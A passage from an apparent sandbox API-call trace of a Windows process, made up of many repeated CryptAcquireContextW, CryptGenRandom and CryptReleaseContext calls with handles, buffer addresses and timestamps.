CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.805] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.805] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.805] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.805] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.805] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.806] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.806] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.806] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.807] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.807] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.807] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.807] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.808] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.808] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.808] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.808] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.808] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.809] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.809] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.809] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.809] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.809] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.810] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.810] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.810] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.810] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.811] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.811] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.811] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.812] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.812] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.812] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.812] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.812] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.812] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.813] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.813] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.813] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.814] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.814] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.814] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.814] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.814] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.814] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.815] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.815] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.815] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.816] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.816] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.816] CryptAcquireContextW (in: phProv=0x44d70c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d70c*=0x5111f0) returned 1 [0030.817] CryptGenRandom (in: hProv=0x5111f0, dwLen=0x80, pbBuffer=0x44d720 | out: pbBuffer=0x44d720) returned 1 [0030.817] CryptReleaseContext (hProv=0x5111f0, dwFlags=0x0) returned 1 [0030.817] CryptAcquireContextW (in: phProv=0x44d70c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d70c*=0x5111f0) returned 1 [0030.817] CryptGenRandom (in: hProv=0x5111f0, dwLen=0x80, pbBuffer=0x44d720 | out: pbBuffer=0x44d720) returned 1 [0030.817] CryptReleaseContext (hProv=0x5111f0, dwFlags=0x0) returned 1 [0030.820] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.821] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.821] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.821] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.822] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.822] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.822] CryptAcquireContextW (in: phProv=0x44d70c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d70c*=0x5111f0) returned 1 [0030.822] CryptGenRandom (in: hProv=0x5111f0, dwLen=0x80, pbBuffer=0x44d720 | out: pbBuffer=0x44d720) returned 1 [0030.822] CryptReleaseContext (hProv=0x5111f0, dwFlags=0x0) returned 1 [0030.825] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.826] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.826] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.826] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.827] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.827] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.827] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.827] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.827] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.827] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.828] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.828] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.828] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.829] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.829] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.829] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.829] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.830] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.830] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.830] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.830] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.830] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.831] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.831] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.831] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.832] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.832] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.832] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.832] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.832] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.832] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.833] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.833] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.833] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.834] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.834] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.834] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.834] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.834] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.834] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.835] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.835] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.835] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.836] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.836] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.836] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.837] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.837] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.837] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.837] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.837] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.837] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.838] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.838] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.838] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.839] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.839] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.839] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.839] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.839] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.839] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.840] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.840] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.840] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.841] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.841] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.841] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.841] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.841] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.841] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.842] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.842] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.842] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.843] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.843] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.843] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.844] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.844] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.844] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.845] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.845] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.845] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.845] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.845] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.845] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.846] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.846] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.846] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.846] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.847] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.847] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.847] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.847] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.848] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.848] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.848] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.848] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.849] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.849] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.849] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.849] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.849] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.849] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.850] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.850] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.850] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.851] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.851] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.851] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.852] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.852] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.852] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.852] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.852] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.852] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.853] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.853] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.853] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.854] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.854] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.854] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.854] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.854] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.854] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.855] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.855] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.855] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.856] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.856] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.856] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.856] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.856] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.856] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.857] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.857] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.857] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.858] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.858] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.858] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.859] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.859] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.859] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.859] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.859] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.859] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.860] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.860] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.860] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.861] CryptGenRandom (in: 